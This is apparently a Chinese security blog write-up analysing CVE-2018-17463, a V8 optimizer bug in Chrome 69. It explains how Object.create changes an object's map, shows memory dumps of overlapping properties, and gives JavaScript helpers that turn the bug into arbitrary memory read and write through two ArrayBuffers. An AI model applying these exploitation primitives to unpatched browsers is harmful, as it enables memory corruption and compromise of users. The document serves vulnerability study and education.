本文作者: Peterpan0927 (信安之路病毒分析小组成员 & 信安之路 2019 年度优秀作者)
成员招募:信安之路病毒分析小组寻找志同道合的朋友
漏洞编号: CVE-2018-17463
,在 chrome 70 版本中被 patch,测试版本为 69.0.3497.42 beta 版,涉及的一些前置知识可以参考 V8 的内存布局和官方文档
漏洞介绍
V8 的 IR
层操作有很多的 flag
,其中有一个 flag
叫做 kNowrite
,从简单的语义分析来看表示的就是没有进行写操作,事实上代表的意思就是拥有这个 flag
的操作不会修改原有的属性,那么也就是说 js engine
推测含有这个 flag
的操作是可以进行一些深度优化的,比如说去掉它的类型检查:
#define CACHED_OP_LIST(V)
...
V(CreateObject, Operator::kNoWrite, 1, 1)
...
但是事实并非如此,通过跟踪这个的底层调用我们可以发现一些问题,在 JSCreateObject
函数中,通过跟踪调用可以发现最后调到了一个名为 JSObject::OptimizeAsPrototype
的函数上面,而这个函数可能会修改对象原型,了解JS的可以知道所谓的原型代表的其实是一种类似类的继承关系,也就是说这个操作会修改对象的类型,也就是 Map
属性,通过 runtime func
也可以确定( %DebugPrint
)
o.inline;
Object.create(o);
//经过create之后o的map会变,并且从FastProperties变成DictionaryProperties
这样一来对象 o
的内存属性布局也会随之改变,如果经过了优化之后的代码去掉了 checkMap
节点的话,那么之后对于对象属性的访问就会按照之前的内存布局进行访问,举一个很简单的例子,可能在 FastProperties
的时候想要访问属性编译成机器码之后如下所示:
;js code : return o.b
r1 = Load [o + 0x8]
r2 = Load [r1 + 0x10]
Return r2
但是此时作为 DictionaryProperties
的内存布局在对应偏移的位置就可能不是原来的数据了,而是其他未知的数据,在分析 create
操作前后的内存布局我们可以发现一个奇怪的事情:
o.p0 = 0; o.p1 = 1; o.p2 = 2; o.p3 = 3; o.p4 = 4;
o.p5 = 5; o.p6 = 6; o.p7 = 7; o.p8 = 8; o.p9 = 9;
0x0000130c92483e89 0x0000130c92483bb1
0x0000000c00000000 0x0000006500000000
0x0000000000000000 0x0000000b00000000
0x0000000100000000 0x0000000000000000
0x0000000200000000 0x0000002000000000
0x0000000300000000 0x0000000c00000000
0x0000000400000000 0x0000000000000000
0x0000000500000000 0x0000130ce98a4341
0x0000000600000000 overlap 0x0000000200000000
0x0000000700000000 0x000004c000000000
0x0000000800000000 0x0000130c924826f1
0x0000000900000000 0x0000130c924826f1
那就是 o.p6
和 o.p2
这两个属性经过转换之后发生了重叠,这意味着我们在优化去掉了 checkMap
节点之后访问 o.p6
,实际上返回的是 o.p2
的值。
稍微对于 V8
的一些机制有了解的话就知道 DictionaryMode
是通过 hashfunc
来计算地址的,所以这个 overlap
是哈希之后的结果,而这个哈希计算的方式是进程独立的,也就是我们每个进程都有着不同的哈希计算方式,这也就意味着我们如果找到了这个 overlap
,之后就可以通过修改 o.p2
来做到很多事情,比如说在 o.p2
放置一个对象,那么返回的就是这个对象的地址了。
任意地址读写
这里的任意地址读写用的是两个 ArrayBuffer
,首先来看看普通对象和 ArrayBuffer
内存布局的对比:
上面的是 ArrayBuffer
,下面是普通对象,可以看到 backing_store
的偏移应该是对应的是普通对象的第二个 inline
属性的偏移,所以如果我们在触发漏洞后,将对象的第二个对象内属性修改,就可以把这个 backing_store
的值给修改,如果我们修改为指向另一个 ArrayBuffer
,形成如下的结构:
+-----------------+ +-----------------+
| ArrayBuffer 1 | +---->| ArrayBuffer 2 |
| | | | |
| map | | | map |
| properties | | | properties |
| elements | | | elements |
| byteLength | | | byteLength |
| backingStore --+-----+ | backingStore |
| flags | | flags |
+-----------------+ +-----------------+
那么我们用第一个 ArrayBuffer 来 new 一个 BigUint64
的数组,这个数组的地址事实上是 ArrayBuffer
的数据,也就是 backing_store
指向的 ArrayBuffer2
,我们将数组的第五个元素,也就是 backing_store
进行任意的设置可以指向任意的地址,然后切换到 ArrayBuffer2
进行操作,再用 ArrayBuffer2
来new一个新的数组,这个时候我们对数组进行的任何操作都是我们对于那个地址的任何操作,也就是所谓的任意地址读写了,稍微封装一下如下所示:
//driver是ArrayBuffer2
let memory = {
//任意地址写就是setvalue
write(addr, bytes) {
driver[4] = addr;
let memview = new Uint8Array(memViewBuf);
memview.set(bytes);
},
//任意地址读就是返回数组的值
read(addr, len) {
driver[4] = addr;
let memview = new Uint8Array(memViewBuf);
return memview.subarray(0, len);
},
read64(addr) {
driver[4] = addr;
let memview = new BigUint64Array(memViewBuf);
return memview[0];
},
write64(addr, ptr) {
driver[4] = addr;
let memview = new BigUint64Array(memViewBuf);
memview[0] = ptr;
}
};
这里只用一个 ArrayBuffer
行不行呢?其实也是可以的,只不过每一次修改都用通过优化并触发漏洞来 overlap
掉 backing_store
,而两个 ArrayBuffer
就只需要触发一次,可以节省很多开销并更加稳定
最后来看一下任意地址读的效果图,是在 macOS 上测试的:
之后的工作还有待完善,可以完全控制浏览器的控制流
Links
phrack:
saleo:
js engine:
https://peterpan0927.github.io/2019/07/08/JavaScript-in-V8/#more